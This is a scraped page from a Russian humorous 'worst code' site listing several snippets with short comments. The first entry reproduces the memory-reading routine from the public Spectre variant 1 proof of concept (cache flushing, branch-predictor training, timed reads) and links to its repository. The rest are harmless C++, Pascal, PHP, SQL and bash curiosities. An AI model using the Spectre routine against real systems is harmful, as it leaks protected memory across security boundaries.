1. Лучший говнокод

    В номинации:
    За время:
  2. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  3. C++ / Говнокод #20359

    +4

    1. 1
    2. 2
    auto highPriority = static_cast<bool>(features(w)[5]);
    // Тип features(w) - std::vector<bool>

    Скотт Майерс. Эффективный и современный С++.

    Antervis, 10 Июля 2016

    Комментарии (35)
  4. C++ / Говнокод #19579

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    if (c & Expression::RefValue) {
          scontext += "|RefValue";
        }
        if (c & Expression::RefParameter) {
          scontext += "|RefParameter";
        }
        if (c & Expression::DeepReference) {
          scontext += "|DeepReference";
        }
        if (c & Expression::ObjectContext) {
          scontext += "|ObjectContext";
        }
        if (c & Expression::InParameterExpression) {
          scontext += "|InParameterExpression";
        }
        if (c & Expression::ExistContext) {
          scontext += "|ExistContext";
        }
        if (c & Expression::UnsetContext) {
          scontext += "|UnsetContext";
        }
        if (c & Expression::AssignmentLHS) {
          scontext += "|AssignmentLHS";
        }
        if (c & Expression::RefAssignmentLHS) {
          scontext += "|RefAssignmentLHS";
        }
        if (c & Expression::DeepAssignmentLHS) {
          scontext += "|DeepAssignmentLHS";
        }
        if (c & Expression::AssignmentRHS) {
          scontext += "|AssignmentRHS";
        }
        if (c & Expression::InvokeArgument) {
          scontext += "|InvokeArgument";
        }
        if (c & Expression::OprLValue) {
          scontext += "|OprLValue";
        }
        if (c & Expression::DeepOprLValue) {
          scontext += "|DeepOprLValue";
        }
        if (c & Expression::AccessContext) {
          scontext += "|AccessContext";
        }
        if (c & Expression::ReturnContext) {
          scontext += "|ReturnContext";
        }

    Нашел тут:
    https://github.com/facebook/hhvm/blob/master/hphp/compiler/construct.cpp#L226

    kschingiz, 05 Марта 2016

    Комментарии (35)
  5. JavaScript / Говнокод #19089

    +6

    1. 1
    2. 2
    3. 3
    //Добавление/удаление товара в корзину, вывод содержиого
    function itemInCart(id, price, count) {
    ...........

    Вот такой он, универсальный JavaScript )

    AndreDev, 26 Ноября 2015

    Комментарии (35)
  6. bash / Говнокод #18555

    −438

    1. 1
    2. 2
    root@server:/var/www/project# supervisorctl restop gunicorn
    *** Unknown syntax: restop gunicorn

    krokodil_910, 31 Июля 2015

    Комментарии (35)
  7. Pascal / Говнокод #17945

    +100

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    // функция создания случайного ключа для шифровки/дешивровки сообщения
    function keyCreate(): string;
    const
      alf: string = 'abcdefjhijklmnopqrstuvwxyzABCDEFJHIJKLMNOPQRSTUVWXYZ0123456789';
    var
      i, k: integer;
      logName: string;
    begin
      logName := '';
      for i := 0 to 15 do
      begin
        k := RandomRange(1, 62);
        logName := logName + alf[k];
      end;
      Result := logname;
    end;

    Какой оригинальный подход.

    Cynicrus, 06 Апреля 2015

    Комментарии (35)
  8. Куча / Говнокод #17453

    +132

    1. 1
    <meta http-equiv="X-UA-Compatible" content="IE=Эмуляция IE8">

    Братишка, плесни мне ие восемь пжалста

    telnet, 15 Января 2015

    Комментарии (35)
  9. C++ / Говнокод #17271

    +49

    1. 1
    //без комментариев

    pewppy, 07 Декабря 2014

    Комментарии (35)
  10. PHP / Говнокод #17187

    +161

    1. 1
    2. 2
    3. 3
    4. 4
    if (array_key_exists('COUPON', $_POST) && !array_key_exists('coupon', $_POST))
    	{
    		$_POST["coupon"] = $_POST["COUPON"];
    	}

    В глубинах битрикса...

    jorique, 26 Ноября 2014

    Комментарии (35)
  11. SQL / Говнокод #16836

    −124

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    SELECT * FROM (
        SELECT `comments`.`user`,
                       `comments`.`time`,
                       `comments`.`topic`,
                       `comments`.`id` AS `commid`,
                       `topic`.`name`,
                       `topic`.`id`,
                       `topic`.`translit`,
                       `topic`.`blog`,
                       `user`.`login`
        FROM `comments`, `topic`, `user`
        WHERE
        `comments`.`topic` IN (
            SELECT DISTINCT `topic`
            FROM `comments`
            ORDER BY `time` DESC)
            AND `topic`.`id` = `comments`.`topic`
            AND `user`.`id` = `comments`.`user`
            ORDER BY `comments`.`time` DESC
        ) `data`
        GROUP BY `data`.`topic`
        ORDER BY `data`.`time` DESC
        LIMIT 10

    Говнокод или необходимость?
    Не нашел способов сделать это одним запросом.

    Efog, 11 Октября 2014

    Комментарии (35)